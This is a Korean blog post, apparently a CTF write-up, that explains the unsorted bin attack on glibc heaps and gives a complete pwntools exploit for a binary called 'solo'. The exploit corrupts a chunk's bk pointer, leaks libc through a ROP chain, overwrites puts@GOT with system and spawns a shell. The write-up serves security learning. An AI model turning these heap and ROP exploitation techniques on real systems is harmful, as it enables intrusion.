티스토리 뷰
unsorted bin attack와 rop로 문제를 풀 수 있다.
Unsorted bin attack
unsorted bin 에 들어가있는 chunk의 bk를 변조해서 원하는 위치에 할당받는 기법이다.
bk 영역에 victim의 주소를 넣고 할당해주면 원하는 위치에 값을 쓸 수 있다.
단 victim - 0x10의 주소를 넣어줘야된다. ( header size 0x10 / 32bit 환경이라면 8byte가 된다. )
exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
from pwn import *
#context.log_level = 'debug'
p = process('solo')
e = ELF('solo')
l = e.libc
def alloc(idx, size, content):
p.recvuntil('$ ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(str(size))
p.recvuntil(': ')
p.send(str(content))
def free(idx):
p.recvuntil('$ ')
p.sendline('2')
p.recvuntil(': ')
p.sendline(str(idx))
def list():
p.recvuntil("$ ")
p.sendline('3')
def modify(content):
p.recvuntil('$ ')
p.sendline('201527')
p.send(str(content))
root = 0x0000000000602080
alloc(1, 0x60, 'a')
alloc(2, 0x100, 'b')
alloc(3, 0x60, 'c')
free(2)
modify("A"*0x60 + p64(0) + p64(0x111) + "B"*8 + p64(root - 0x10))
alloc(4, 0x100, 'c')
p.recvuntil('$ ')
p.sendline('4')
print p.recv()
prdi = 0x00000000004008a0
prsi = 0x0000000000400d11
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
puts_got = e.got['puts']
bss = e.bss()+0x200
pay = "A"*0x408
pay += p64(prdi)
pay += p64(0)
pay += p64(prsi)
pay += p64(bss) + p64(0)
pay += p64(read_plt)
pay += p64(prdi)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(prdi)
pay += p64(0)
pay += p64(prsi)
pay += p64(puts_got) + p64(0)
pay += p64(read_plt)
pay += p64(prdi)
pay += p64(bss)
pay += p64(puts_plt)
p.send(pay)
pause()
p.recvuntil('$ ')
p.sendline('201528')
sleep(0.5)
pause()
p.send('/bin/sh\x00')
sleep(0.5)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = leak - l.sym['puts']
sys = base + l.sym['system']
p.send(p64(sys))
p.interactive()
|
rop로 푸는것 말고도 unsorted bin 으로 libc leak해서 푸는 방법도 있다.
재미있는 문제였다 +_+
댓글